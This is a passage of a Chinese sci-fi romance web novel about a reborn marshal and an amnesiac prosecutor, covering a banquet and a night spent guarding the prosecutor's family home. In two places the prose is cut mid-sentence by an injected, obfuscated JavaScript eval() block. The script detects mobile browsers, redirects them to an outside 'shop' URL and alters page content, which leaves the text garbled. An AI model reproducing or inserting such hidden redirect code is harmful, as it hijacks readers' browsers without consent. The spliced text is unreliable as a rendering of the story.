话说到这里,他倒是想起来一件事。在他死前,奥利西斯曾说,季临韫是生病去世的。 他生了什么病? “我没事了,倒是你,最近身体恢复得怎么样?”他状似不经意地问季临韫。 “还好。”季临韫显然还对刚刚的事耿耿于怀,抿紧了唇,瞥他一眼,“需要我把体检报告发你吗?” “发到我的光脑上,谢谢。”闻泊彻立即接话,问,“是前几天复查刚出的结果吗?” 他盯着季临韫,看了半天,才说:“检察院的工作强度太大。你大病初愈,不适合就这样回去工作。好不容易给你养了几斤肉,也不是给那群老东西贡献的。” “体检没什么事,”季临韫见他的关切不似作伪,只得把体检报告发过去,面无表情地说,“检察院的工作强度高,是因为我失踪了几个月。” “季检察官,指的是和我在一起的那几个月吗?”闻泊彻看见体检报告,各项指标都没什么问题。他才抬起眼来,继续看着季临韫的眼睛,说,“是我的错,我就不应该让检察院那群老东西发现你,也不该将你还给他们。” 他的语气中毫无抱歉,绿色眼眸却越发放肆,就这样大喇喇地看着季临韫。 “不要这样看我。”季临韫微微蹙起眉,朝他抬了抬下巴,说,“我同事说,你这样的行为已经……” “已经怎么样?”闻泊彻笑起来,一双绿眼紧紧看着他,说,“大检察官,要判我流氓罪吗?” 刚刚的拥抱只是食髓知味。他看着这样的季临韫,那点阴暗的、炽热的情绪又在剧烈涌动。他忽然想,凭什么? 凭什么季临韫不记得? 他偏要让季临韫知道,要一件一件地告诉他,他们发生过什么事情。 况且,在现在这个时间段,季临韫就很清白么? 季临韫现在就一点也不喜欢他么? “你是不是忘了。”闻泊彻的手掌覆在季临韫那侧的座椅上。他慢条斯理地再次凑近,整个宽阔的身形朝前压,几乎将季临韫逼到了车门处。 季临韫要比他稍矮半个头,在常年训练的卓越体型下几乎无处可逃。他皱起眉,眼睫因为不断凑近的距离而开始小幅度眨动,原本放在安全带旁的手,忽然被闻泊彻宽大的骨节攀上。 滚烫而干燥的皮肤相触,季临韫看他故技重施,有些愠怒,挣了挣手,却被闻泊彻强行向后压去。 “放开。”他冷声说,“要发疯去外边发。” 季临韫想,真是邪门了。刚刚有一瞬间,他竟然会相信闻泊彻真的精神力失控了。 “如果我不放,你会对我生气吗,季检察官。”闻泊彻笑起来,甚至就这样得寸进尺的、一节一节将他的手掌缓慢而暧昧地覆盖住。 季临韫抓住闻泊彻的领口,手肘下压,紧紧抵住他的胸膛。两个人对峙着,距离又开始逐渐拉近。 “你在干什么?”他蹙起的眉眼上抬,冷笑着问,“精神力又失常了?” “对,我是精神力失常了。”闻泊彻温柔地看着他,高贵的祖母绿眼里透出一点意味不明的深情。他手指用力,指腹摩挲过季临韫突起的碗骨,笑着说,“早知道你回检察院会这样薄情,我会再关你几个月的,季临韫。” “闻泊彻!”季临韫被揉得腕间一麻,猛得抽手,指尖几不可察地发着细颤。 闻泊彻看着那双漆黑色的、泛着碎光的眼睛,想起来,季临韫从来不习惯和别人靠得这样近。 这样的距离,看他一眼,他那点淡然就要荡然无存了。 闻泊彻忽然心情很好。他就这样注视着季临韫,缓声吐出几个字:“检察官,忘了吗。那天醒来的时候,忽然抓着我的衣领往下拽。再近一点,我们就该要接吻了。” “这该判谁流氓罪,季检察官?” 4. 流氓 4. 首都星冬日天黑得快,窗外已经被靛蓝色覆满,街道上陆陆续续亮起了灯。 而在路边一辆军用级别的量子车中,季临韫紧紧靠着后座,柔软的发丝因为挤压而略微卷翘,眼眸毫无感情地看向闻泊彻。 而闻泊彻曲起膝盖,一只手撑在季临韫肩部的上方,就这样自上而下地将他逼在了狭小的一角,垂眸看着他。 两人一时离得极近,几乎低头就要呼吸交融。 季临韫无意识仰靠车门,指节无意识碰到了玻璃窗旁的按钮,发出“咔哒”一声。 “需要我帮忙回忆一下吗?那天,季检察官先是抓住了我的手。” 闻泊彻也注意到了响声,轻轻抬了抬眼,但却不在意。他说着话,抬起季临韫的手,放在自己手腕旁边,暧昧而缓慢地咬声说:“然后用力把我拽下去,勾住我的领子整个人就凑了上来。我完全没有一点防备,只能任由……” 他开口说话时,热气和季临韫略微急促的呼吸一同化作白雾,打散在透明的车窗上。季临韫漆黑的眼眸带着生性的冷意,顺势拽住他的领口往后推:“闭嘴。” “就像现在这样。”闻泊彻完全撒开手,无辜又可怜地看向季临韫。他祖母绿的眼眸微微眯起,带着一点促狭的意味,说,“这不算流氓罪吗,检察官最懂法律,来帮我判一判。” 他想,这是就发生在这个时间段一个月前的事,就算季临韫忘了,他也要叫他想起来。 那时候季临韫伤势还未好全,半夜落冷雨,他浑身都在阴冷作痛。当天夜里发了高烧,闻泊彻接到消息,半夜从军部赶过来时,他已经吃下药重新睡去。 闻泊彻不放心,在这里要等季临韫退烧。他就在旁边坐着,处理军队的文件。季临韫却好像被梦魇魇住,眉头紧皱。 他低身想去探季临韫额头的温度,却忽然看见那双漆黑而明亮的眼眸一睁,随口领口被用力往下一拽。 季临韫那张烧红的脸带着滚烫的呼吸,顿时撞进了他的视线。 “闻泊彻。” 闻泊彻当时呼吸一顿,眼眸可耻地、最先注意到的就是季临韫烧得嫣红的嘴唇。 他忽然心跳如鼓,刚想回应,病床上的人手就一松,整个人朝后仰到,随后继续扑在了柔软的枕头上,黑眸一闭沉沉睡去。 那时闻泊彻几周午夜梦回,眼前都是季临韫眼眸里因为高烧而升腾的水雾,红到不正常的、几乎有些昳丽的脸,连黑发都湿得像水妖。 他们除去在学院的参加格斗课,很少有离得这么近的时刻,更遑论鼻息相闻。 闻泊彻在那段时间,有时会喘着气醒来,屏息片刻,随后伸手抽了自己一耳光。 他低头抚开湿透的额发,脸上还火辣辣的,怔怔想,真是疯了。 但现在重获新生,闻泊彻显然半点难堪都没有,直接搬出来逗季临韫玩了。 季临韫却抬起身,攥着他衣领的五指收紧。 他漆黑的眼眸定定看着闻泊彻,说:“我那天醒来,没有一拳把你打到地上,你就应该感到庆幸了。” 闻泊彻对上季临韫的视线,眼眸里闪烁着无害的光芒:“检察官,你深夜发高烧,我过来照顾你。你不感激我,竟然还要一拳把我打到地上?” 他难过地说:“检察官都是这样横行霸道的吗?” “在两家确定婚约前,你诈骗我作为你未婚夫的事情,”季临韫冷漠地说,“好像从来都没对我解释过。我回检察院后,他们都说我们是宿仇。曾经我查案子坏了你好几桩事,是这样吗?” “他们说少了。”闻泊彻低头,看着揉皱的领口,和旁边骨节分明的手指。他看着季临韫,笑着说,“更多一些,关于我们的事情。你还是从我这里知道比较好。” 他暗暗咬牙,想,怪不得季临韫就算没恢复记忆,也没给他好脸色,原来是检察院那群人挑拨离间! 明明在疗养院的时候,季临韫偶尔还会朝他笑一笑的。 “够了。”季临韫松手,推开他的肩膀,说,“时间要到了。晚点找你算账。” 他揉了揉手指,偏头看向旁边的闻泊彻,冷声说:“现在下去,车我来开。” 闻泊彻肩膀一痛,想,临韫病刚好,手劲竟然还这么大。他待在驾驶座,闻言转头问:“大检察官强抢军用量子车,太明目张胆了吧?” “我不想迟到。”季临韫语调很冷,却说得慢条斯理,“介于你在量子车上的行径,我不放心交给你开。” 闻泊彻很吃他这幅腔调,笑着抬手,听话地和季临韫交换了座位。 但下一刻,他就有些笑不出来了。 只见季临韫系好安全带,踩下油门,面不改色地将方向盘猛地一转,飞速在前方路口的星际指挥灯变色前疾闪而过。 而闻泊彻整个人猝不及防,往车门上重重一撞,整个人在分秒间系好安全带。 “放心,在最高速度内,不会开罚单。”季临韫动作利落,三两下就上了量子车专用轨道。 他镇定自若地左右转弯,几分钟就见针插缝地超过了晚高峰的大部分车流,往前方最宽广的道路疾驰而去。 闻泊彻揉着被撞痛的肩,侧头去看季临韫,发现冷淡锋利的检察官唇角竟然弯了一下。 随后很快又抿直,镇定地飙出极限的速度。 好啊,闻泊彻想,竟然在偷笑。 重生前,他从来没有坐过季临韫开的车。量子车的智能驾驶系统已经很成熟,特别是军方配备的量子车,系统更是层层加密。 但就是这样,他们为防外来系统入侵,往往都会关闭整个车载系统,采用最原始的人力驾驶方式。 闻泊彻不在军部的时候就是在休假,接季临韫下班比较多,从来没让他进过驾驶座。 他从没想过,季临韫开车竟然这么刁钻。 “明天一觉醒来,”闻泊彻不开车,在里面没事做,就正大光明地撑着手看季临韫,“这辆军部元帅专用量子车占抢车道,踩线狂飙的事情,就要上新闻头条了。” “元帅飙车上新闻,”季临韫若有所指,冷眸看了他一眼,说,“总要比流氓罪上新闻好一些。” “靠骚扰检察官上的头条吗?”闻泊彻笑眯眯的,说,“那还是我们两个的桃色新闻呢,媒体一定会把内容写得很劲爆吧?” 季临韫完全没办法和这种军痞沟通,冷着一张脸,再也不搭话了。 车很快减速,面前隐约呈现出联邦公馆的轮廓。车辆过了设置在最前方的门禁,来到赴宴的场厅前。 联邦政府就在不远处,专门在附近设置了独栋的几个公馆,里面设置了宴会厅和交际厅。 这场晚宴是奥利西斯举办的,想利用闻季两家好事将近的联姻,笼络周边的关系。 公馆内种满了绣球和月季。首都星局部区域设置了透明顶棚,即使在逐渐冷冽的十月末,花香也依旧馥郁,墨绿色树叶在沥青大路上窸窣晃动。 季临韫那一侧的车门被闻泊彻打开,军用量子车的车门离地面距离高,下面的人就这样伸起一只手,要牵他下去。 他皱了皱眉,说:“做什么?我不是你邀请的女伴,不至于对我展现绅士礼仪。” “可我是你的未婚夫。”闻泊彻微笑着说,“执政官奥利西斯亲自指的婚期,临韫,你不至于给他当众甩脸吧?” 季临韫默了默,把手递过去,抬腿下了车。手心里传来干燥滚烫的触感,他侧头,发现这人还想牵着他往里走,不由冷冷出言道:“我根本不记得他,胡编乱造还不是看你本事。” “不记得就好,他可不是什么好人。”闻泊彻得寸进尺,五指都想挤进季临韫的指缝之间,是最亲近紧密的姿势。 他们上辈子结了婚,但甚至都没有这样牵过手。只有那一天,季临韫整个人发着潮,挣得狠了想一脚把他踹下去,他才扣住了他的手腕。 闻泊彻握着季临韫的手,心里只想,临韫的手真的好软,牵起来一点也不冷。 季临韫指缝被迫打开,异样又灼热的温度顿时涌进来。他只觉得闻泊彻的手烫得厉害,连着自己的呼吸都有些急促。他深吸一口气,淡淡评价说:“你也不算什么好东西。” “我们到了。”闻泊彻绅士地抬起他的手,脚步一顿,停在了宴会厅门口。 侍者立马迎上来,带领两人进去。 宴会厅内有着巨大的苍穹吊顶,皮鞋踩在光透的大理石地板上,能清晰映出影子。巨大而繁复的水晶灯盏层叠垂落下来,玻璃杯、落地窗和胡桃木扶梯上,边缘都闪着璀璨的光。 最里面的餐室中,已经准备好了今天的晚餐。 现在除了首都星,其他很多星区都有过推行营养液代替餐食的政策。但营养液除去军用,永远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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两人在虚空中碰杯。闻泊彻过于挺括与俊朗的脸廓向上抬高,举着酒杯的瞬间透出一股上位者的从容不迫与漫不经心:“执政官过誉了。临韫大病初愈,不适合饮酒,我替他喝下这一杯。” 说罢,他握着季临韫的手腕,从他手中接过了酒杯,一饮而尽。 奥利西斯哈哈大笑起来,其余官员均向两人敬酒。侍者轮番撤下前菜,更换餐品,晚餐这才正式开始。 “不要再喝了。”季临韫在闻泊彻重新坐下的一刻,才低声说,“这里的酒不是普通的葡萄酒。” “不用担心,”闻泊彻说,“这里的菜品没一道你喜欢的,再坐一会儿我们就走。” “嗯,”季临韫优雅地拿着餐叉,把豌豆切成两半,眼眸落在不远处,说,“这边焦糖橙子做得还可以。” 闻泊彻立马自己那份还没动的橙子,放到了季临韫的盘子里。 晚宴进行到中途,闻泊彻就以季临韫身体为由,先将人带了出去。 回去的路上依旧是季临韫开车。两个人一顿晚餐结束,胃里都还是冷的,他听从闻泊彻的建议,一起去第一联邦学院附近吃了碗面条。 夜宵结束,闻泊彻因为沾了酒精,被季临韫又一路送回了家。他回家时心情大好,踩着靴子从小花园走进亮堂堂的客厅。路上被浇花的家政阿姨看见,笑着问候说:“小少爷,今天这么开心吗?” “嗯。”闻泊彻应了一声,深邃的祖母绿眨了眨,说,“青姨,我今天见到临韫了。” 之前季临韫被捡回来,也在这边住了一小段时间,青姨认识他:“呀,是小季啊。他很爱吃我做的豌豆汤呢。他什么时候再来家里吃饭?” “有机会再给他做。”闻泊彻抬腿往楼上走,舒展的眉眼间带着止不住的笑。他还没从这阵失而复得的喜悦中缓过神来,脑海里全是季临韫那张脸。甚至是刚刚在吃面时,季临韫低着头,在氤氲的热气中嘴唇微张,吞咽面条的场景。 闻泊彻走进浴室,把自己泡进热水里,片刻后头脑清醒了一些。他想起死前奥利西斯的那番话,即使今天看到了季临韫的复检报告,他还是要亲自带他去做一次体检。 他正想着,要用什么借口骗季临韫去复检,连接了家庭系统的时钟却忽然开始报时。 “现在是10月7日0点0分,已经到了您的休息时刻,闻元帅。” 原本是很平常的休息提醒,闻泊彻却猛地从浴池中坐起,整个人顿时紧绷起来。 他想起了这个时间。 因为上一世的10月7日凌晨,季家遭遇枪袭,季临韫重伤昏迷。 5. 错乱 5. 夜色浓郁,道路两旁的名贵树木随着路灯落下婆娑影子,安谧而平静。 本来是祥和宁静的夜晚,街道尽头却忽然打来两道刺眼的量子车远光灯,伴随着车轮碾过地面的呼啸声,疾驰而过带起的劲风将一路花草刮下,在车后的橘黄色灯光下簌簌落了一地。 闻泊彻正坐在车内,一双绿眸沉在深不可测的黑暗里,浑身散发着极具压迫性的燥意。他打着方向盘,脚底狠踩油门,几乎将量子车开到了速度的极限,速度比白天季临韫还要开得快。 量子车急刹停在了一栋私人住宅前。闻泊彻在极度的紧绷中喘了口气,抬眼看了眼手上的老式翡翠表。 离前世新闻报道上袭击的具体时间,还有一个小时。 季家一直以来都被奥利西斯忌惮。季父季成津作为上一任联邦检察院院长,妻子索菲娅是科学院的首席工程师,即使两人几乎没有回家的时间,季宅的安保防御系统也是顶尖的。 怎么会发生遇袭这种事? 闻泊彻将车停在隐蔽的树荫下,给季临韫连续拨了两个通讯,都无人接听。他顿时心神不定,翻身下了车来到季宅的后院,才发现原本严密的检测系统,竟然在深夜里悄然瘫痪。 已经有人动手了吗? 闻泊彻心脏急促跳动起来。他顾不上那么多,双手撑上墙面,竟然就这样三两步融入夜色中,敏捷地翻过了钢丝与尖刺并存的墙头。 整个季宅全部熄灭了灯光,浸没在一片浓重的黑暗中。季临韫上个月回家就是闻泊彻送的,他清晰记得他的房间在哪里,是季宅二楼靠南边采光最好的地段。 闻泊彻看着头顶窗台,那里还栽了大片的黄嫩的爬墙月季。他顿了片刻,训练有素的身体迅速而悄无声息地顺着墙体翻上了二楼,迫不得已踩在季临韫窗台的花上。 里面拉着窗帘,从窗台看不见情况。闻泊彻研究了一下玻璃窗的构造,发现门栓在里面被锁死。他停顿片刻,在犹豫是先敲窗试探还是直接踹窗而入,眼前的锁却猝不及防地开了。 闻泊彻始料未及,里面伸出一只冷白劲瘦的手,直接把蹲在上面的他一把拽了进去。他甚至还未开口说话,身前的人就是一记狠辣的肘击,直冲门面而来! 闻泊彻上前握住他的手腕,想从背后将人抱住。季临韫却直接抬膝一踹,毫不留情就往他精实的小腹上撞。他只得拉开一点距离,用左小臂的硬骨一挡。 他打架一直都流氓,这会儿手臂一阵震麻,却顺势上前伸手横腰将人一搂。 季临韫反应也快,侧身躲闪握住闻泊彻颈肩,却被朝后的一阵巨力带得重心不稳,一时间天旋地转,两人齐齐朝身后冷硬的地板摔去。 在碰到地面的一刻,闻泊彻伸手垫在季临韫的后脑处,将整个人严严实实抱在怀里。 冷月光从窗外撒进来,这会儿他清晰看见了季临韫的脸。他微微喘着气,大病初愈的身体禁不住这样打架,额发已经有些湿了,眼眸漆黑而明亮。 季临韫被他扣住手腕,整个人明明被压在身下,抬眼时却莫名给人一种居高临下的错觉。他蹙起冷淡的眉:“闻泊彻,你怎么在这里?” 闻泊彻目光落在季临韫身上,反复确认没有任何伤口之后,才笑起来,说:“想未婚夫了,过来看看你。” “你真是疯了!”季临韫抬起头,薄红的眼尾一凛,明显是生气了。这样冷淡的眉眼,却因为情绪调动更加鲜活了起来,使得落在鼻尖的黑发都更加浓墨重彩。 他的呼吸还是不匀,冷冷说道:“闻泊彻,你这是私闯民宅。” “又要告我了吗?大检察官。”闻泊彻说,“可是你打我打得好痛,我手臂都要被你撞青了,而我绝对没有对你下一点狠手。这是单方面的殴打。” “没认出我来吗?”他低着头,又与季临韫拉近了距离,鼻尖几乎都要碰到他的下巴,像是喟叹,“什么都不记得,连肌肉记忆也没有吗,我们在学校里打过那么多次架。” “认出来才更应该打你。”季临韫仰面,想要起身,手腕却被紧紧扣在木质地板上。“深夜忽然从我房间翻墙进来,不该打吗?” 不冷不热的天气,他们交手后却都各自出了些薄汗。压在身上的闻泊彻几乎作为一个热源,在俯身逼近的时候,烫得让人无法忽视。 “我一直想知道。季检察官,你对我们之间的事情,一点都没想起过吗?” 季临韫与他对视几秒,刚想开口,却顿时失了声。 因为闻泊彻忽然低下了头。再往下一偏,唇就能碰到他。 季临韫能觉察到脑后的手掌略微收紧,指尖甚至插进了他的黑发中,在摩挲过头皮时带来令人战栗的颤意。他抬起眼,视线猝不及防撞入闻泊彻带着欲望的眼中。 这一刻,两个人的呼吸都微妙地急促起来。 “你……”季临韫通过那点从玻璃窗中透出的皎白月光,被迫清醒地与闻泊彻对视着。那点浓重而晦涩的祖母绿直逼而来,伴随着呼吸间滚烫的温度,让他一时间几乎有些眩晕。 “笃笃笃!” 他刚从唇齿中发出一声,房间沉重的木门却响起三下敲击声,打破了室内的寂静。随后一道温和沉稳的女声从门外传来:“临韫,我听到你房间里有声音,是有什么事情吗?” 季临韫顿时清醒,趁着闻泊彻卸力的瞬间一把将人推开,翻身起来后脚下一踢,迅速把人塞到床底下去。甚至闻泊彻都没反应过来,人在床板下的时候,只看见缝隙里透出季临韫冷淡的眼睛,警告性朝他一瞥。 “不许出声。” “母亲。”季临韫走过去,手掌压下微凉的金属门把手。 厚重的房门打开,走廊里亮起灯光,清晰映照出了门外索菲娅那双沉静智慧的眼。她穿着一身丝绸睡袍,亚麻色的卷发披散在肩上,眉眼间都是时间沉淀后的稳重与温和。 “发生什么了吗?临韫。”索菲娅温声说,“我刚要睡下,听到你房间发出了沉闷的响声,所以过来看看。” “没有。”季临韫侧过身,神色柔和了一些,说,“是风太大了,有东西砸到窗台,我过去看了看。” 索菲娅从缝隙中往内看去,发现窗台确实微开了一角,月季的花香好像也随着缝隙透了过来。她的视线在略微凌乱的床铺间停顿片刻,很快就收了回来:“没事就好。睡觉时记得关上窗户,晚安。” “您也早些休息。”季临韫说。 “我明天要给科学院的学生上课,需要再检查一下课本。”索菲娅笑笑,说,“临韫,你伤势刚好,才应该好好休息。” 季临韫应下声,重新合拢房门。他刚从极度的紧张中松懈下来,一转身,腰就被人从身后虚虚扣住。 他头都没回,手肘毫不留情往后重重一撞,将后面凑上来的闻泊彻打得龇牙咧嘴。 “闻泊彻。”季临韫冷冷叫他的名字,说,“你应该解释一下,为什么会大半夜出现在我的房间里。” “今晚会有人袭击季家。”闻泊彻摸了摸被重击的左脸,牙齿有些疼。他没有解释上辈子的报道,只说,“是军部的截获的消息,我一接到就赶过来了。给你打了两个通讯,都没有消息。” 季临韫打开手腕上的通讯器,确实看见了两条未接的通讯。他停顿片刻,漆黑的眼眸犹疑地盯着他。 “季家住宅的防御系统已经瘫痪了,你可以立即求证。”闻泊彻避开季临韫的视线,十分正经地说,“我今晚会留在这里,直到系统恢复正常。” 季临韫打开主控系统,果然发现住宅的防御部分已经断联。他皱了皱眉,刚想说些什么,又听见闻泊彻的声音:“索菲娅教授今晚也在家,她是科学院的核心研究人员,我需要保证你们每个人的安全。” “好。”季临韫顿了顿,答应下来。他允许闻泊彻坐在他书桌旁的椅子上,刚要转身,手腕却被身后的人一握。 “大检察官。” 季临韫回过头,看见在月色下,闻泊彻可怜巴巴地指着自己的脸,说:“你刚刚把我的脸打肿了。” “……” 季临韫有些怀疑地凑近,看见了那张英俊脸庞上明显的青肿。 刚刚有这么肿吗? 他迟疑片刻,又听到闻泊彻补充说:“我白天还要去军部,被人看见被未婚夫打得鼻青脸肿的,怎么办。” 季临韫之前确实下了狠手,这时有些愧疚了。他低声问:“很痛吗?” “痛。” 他犹豫了一下,又问:“你真的会说是被未婚夫打的吗?” “我会。” “……” “我下楼给你找冰袋。”季临韫说,“你就坐在这里,不要乱跑。” 闻泊彻看着季临韫走出房门,眼眸微微眯起,喉间发出两声低沉的笑。他碰了碰肿起来的脸颊,疼得“嘶”了一声,却在门重新打开的一瞬间正襟危坐,恢复那副可怜的表情。 他看着季临韫从门口朝自己走来,随后脸庞一凉,冰袋被放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114145|195900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了上面。 “今晚最好有人来。”季临韫凉嗖嗖地说,“不然明天我就把你拎到联邦法院去。” 闻泊彻坐在椅子上,十分安静乖巧地让季临韫帮他拿着冰袋,敷脸上的伤口。 他借着冰袋的掩护,偷偷去看季临韫。这人话虽然是这样说,但手上的动作却很轻,几乎没有弄疼他。 昏黄的光线下,可以看见季临韫冷淡平和的眼,连漆黑的睫毛都被根根分明地染上了光,竟然显得有些无端温柔。 闻泊彻一时有些恍惚。 前世,在结婚后,两人本来约好周末一起吃晚餐。但遇上了临时的叛军暴动,闻泊彻为了救下路人不慎负伤,回去时已经是深夜,别墅里却还亮着灯。 季临韫闻到了血腥味,沉默而不容抗拒地拽下了闻泊彻的外套,拎着他的后脖颈把他按到沙发上,重新处理他原先草草包扎的伤口。 “你生气了?”闻泊彻当时撑着脑袋,心里莫名有点高兴,就这样有些嬉皮笑脸地问,“是舍不得我受伤吗,临韫。” “再说话就滚出去。”季临韫终于开口。 闻泊彻就不说话了,安静又美滋滋地盯着季临韫看。明明伤口处理得很好,他却为了卖惨,老是要偷偷“嘶”一下,发现季临韫停下动作来看他,才彻底满意了。 此刻好像时光交叠。他这样去看季临韫,也能从他眼中,看见与那天如出一辙的温柔。 闻泊彻怔怔地想,如果临韫记得就好了。 如果临韫和他一样,记得上辈子的所有事情,就好了。 两个人后来谁都没睡着。 他们关了窗和大灯,就这样各自处理着事务,在房间里坐了一夜。 等到晨光熹微,袭击季家的歹徒还没有出现。 天光大亮时,季临韫放下光脑,面无表情地问闻泊彻,说:“歹徒和袭击呢?” 闻泊彻这一晚上,一边处理军部部署文件,闲下来再看两眼季临韫。他已经很久没有和他待在一起这么久了,心中的安稳与慰藉大过一切,一夜没睡也还是神清气爽。 “可能我们昨天打架的动静有些大。”闻泊彻诚恳地说,“歹徒觉察不妙,已经跑掉了。季检察官,我觉得他还有卷土重来的可能,你最好搬回去跟我住。” “当时不是说军部下发了袭击的文件吗?”季临韫不吃这套。他走上前一步,俯下身,漆黑的眼眸压迫下来,缓声问,“文件在哪。” “阅后即焚。”闻泊彻微笑着说,“军部的文件都是绝密文件。” 季临韫冷冷掀起眼皮,走到了窗边。这会儿天光大亮,他才看清昨晚闻泊彻翻窗上来,几乎把他外面的爬墙月季踩得稀巴烂。 往庭院里的小花园一看,更是不得了。这王八蛋不知道怎么翻进的季家,七零八落的花草上全是脚印。 季临韫伤势初愈,一夜未眠血糖偏低,又看见窗外的花,几乎感觉眼前阵阵发黑。他刚要开口,就被闻泊彻从身后一把扶住。 “身体不舒服吗?” 闻泊彻几乎算是半抱住了他,季临韫只能感觉到身后滚烫胸膛的热度,隔着一层干燥的布料传来。他几乎是有些焦急地问,“哪里难受?我现在带你去医院。” 季临韫本来想挣开,但不知道是浑身几乎失力,还是这样的姿势过于温柔,竟然就这样任由闻泊彻靠近来抱他。他在这样关切的神色里,一向冷淡的态度也莫名软化下去,没说话,抬手指了指窗外的稀烂的花。 闻泊彻立马认错,说:“我会给你重新种好的,季检察官,我保证。” 季临韫抬眸,看了闻泊彻一眼,对上他漂亮深邃的祖母绿眼睛。他于是闭上眼睛,扯了扯闻泊彻的袖子。 “困了?”闻泊彻立即会意,顺势将他抱起来,抱回了床上。 之前在疗养院,季临韫一点东西都不记得的时候,在楼下的花园逛累了,也是这样指挥闻泊彻的。 扯一扯袖子,他就抱他回楼上睡觉。 闻泊彻那时候把人抱起来,怀里不重不轻的,抱着却让胸腔里都有了实感。 疗养院的花园里枝叶繁茂,层层树影与斑驳花叶都落在他们身上,周围花香馥郁。季临韫五指抓着闻泊彻的衣袖,抬眼时天光落在根根分明的眼睫上,里面一点漆色看着他。 闻泊彻本来还想吓唬他,说不听话就把他丢下去。真正看见季临韫的眼睛,他又说不出口了,只觉得喉咙隐约干燥。 他后来想,那个时候,他就在想吻他。 6. 学院 6. 季宅四周天光熹微,灰蓝色的天空只从尽头透出了一点亮。 这个时候的清晨其实最安静,鸟雀叽叽喳喳的清浅叫声,伴随着晨露打湿泥土和草木的味道,都从木质窗棂的缝隙里透进来。蒙蒙的蓝调覆盖在房间里,显得无比和缓与静谧。 季临韫受伤后,身体就一直嗜睡虚弱。这样和闻泊彻面对面熬了一晚上,他在被扶住的片刻就意识混沌,在整个人被抱起来时,几乎已经沉沉睡去。 闻泊彻低下眼,看着怀里安静而脆弱的人,手臂朝里收紧。剔透而浅淡的光就这样落在他的眉眼上,脸颊在漆黑发丝下更显白皙,几乎就像古地球时期最贵重的瓷。 他把季临韫安置在床铺上,给他掖好被子,看了一眼终端时间。距离季临韫去检察院还有几个小时,还可以再睡一会儿。 但根据自己的日程安排,一个小时后,军部就会派人来接闻泊彻过去开会。 自从上次从白霭星征战回来,由奥利西斯特批的、军部准许的假期已经提前结束了。而今早是军部每个月的例会,由联席会议主席温特米尔召开,所有人都必须出席。 闻泊彻的车还停在季宅后门的大门口。他按照昨晚的路线,悄悄又翻了一次墙,把车开回了家。 等稍微洗漱休息片刻,闻泊彻就接到了副官卢林的通讯。 “老大,早上好啊。”卢林的脸占据半个屏幕,笑眯眯地跟他打招呼,说,“车已经停在您家门口了,吃早餐了没?” “还没有。”闻泊彻不紧不慢地卷着袖口,走到二楼窗边,果然看见军部专用的车停在下面。而卢林的脸从窗户里透出来,冲着他傻笑。 “那太好了。”卢林说,“那你将会得到温特米尔主席精心准备的、每位参会者一份的全麦面包早餐。” 闻泊彻挂断通讯,面无表情地走下楼。卢林跑过来给他开门,笑着说:“老大,干什么天天这幅表情。不就是让你提前结束休假了吗?你就不想我们吗?” 闻泊彻坐上车,说:“温特米尔最好不是因为议会缺钱开会。” “八九不离十。”卢林遗憾地回到驾驶座,说,“面包不吃吗?农科部新研发的,他们正在推广呢。” “不用了。”闻泊彻看着黑压压的全麦面包,不由想,这种硬邦邦的面包,就算换了季临韫来,也不会乐意吃。 季临韫以前在联邦最高学府的时候,早餐经常吃面包。他在食堂撞见过好几次,看见小检察官拿着刀叉,一身白衬衫,跟帝国旧社会贵族一样,慢条斯理地对一块面包下手。 他不能理解这种爱好,一开始以为季临韫只是图省事。毕竟在黄昏无人的教室里,他懒得吃饭,也会叼一块面包看书。但后面结婚了,闻泊彻发现他是真的喜欢吃,还很挑,下班要特意绕一条街去特定的面包店买,当第二天的早餐。 闻泊彻偷吃过好几口,发现检察官优选的面包蓬松而香软,要么就是酥脆得恰到好处,当早餐确实十分合适。 “味道其实还可以。”卢林正准备开车,随意朝旁边的闻泊彻看了一眼,忽然大惊失色,“老大,你的脸怎么肿了?你昨晚和人打架去了吗,还是有外敌入侵?” 闻泊彻看了眼后视镜,这才注意到,自己脸上还有些青肿没消。离得远了看不出来,但在卢林这个位置,就能轻易地发现端倪。 “……”闻泊彻摸了摸微肿的脸颊,眼睛里却不禁带了点笑,说,“被未婚夫打的。” “季临……季检察官?”卢林一听是家暴,悬着的心立刻放下去了。他安心开起了车,说:“我就说谁能伤到你……等等,老大,你又对季检察官做什么了,怎么会被打啊?” “被老婆打是男人的勋章。”闻泊彻一改上车时前的低气压,哼笑了一声,说,“他喜欢打我,给他打一下怎么了?” 卢林默默地开着车,半晌才说:“可是老大,我怎么听说你在学府的时候,也经常被季检察官打,大家都夸他天降正义。” “我在学校的时候干什么了?”闻泊彻放下搭在下巴上的手,重重敲了一把副官的后脑勺,说,“谁和你说的,那几个中将是不是?少和他们瞎聊,他们天天讲得我和不学无术、欺男霸女的无赖一样。天地良心,我就只有一次骗了季临韫,被他记仇到毕业。” 那还是他刚到联邦第一学院——赫拉克勒斯学院的时候。刚入学,学院还没有正式分流,所有新生都要进行为期三个月的封闭化军事管理。 赫拉克勒斯学院作为首都星的顶尖学校,学制为五年,分为两个大校区。新生进入学校的前两年,需要进行统一的军事化和通识课训练,再经过最后一次期末考试后分流,就会被送往另一个校区或军部,在不同学院里进行专业课的学习。 能进入赫拉克勒斯学院的人,几乎都是首都星和各辖属星最优秀的学生,或者是各参政议员、研究院长或上将之类的子女。有人说前两年的集中管理是为了笼络势力,让各方交换利益。 但同时,学院的管理也是出了名的严苛,特别是在封闭化军事训练期间。 闻泊彻就是在这里,第一次见到了季临韫。 长夏的尾声,学院里苍翠的绿树叶随处可见,几乎风吹过的影子都带着浓重的绿的意味。学校里喜爱栽果树,大片的苹果、樱桃和橘树成片种在宿舍和教学楼的四周。 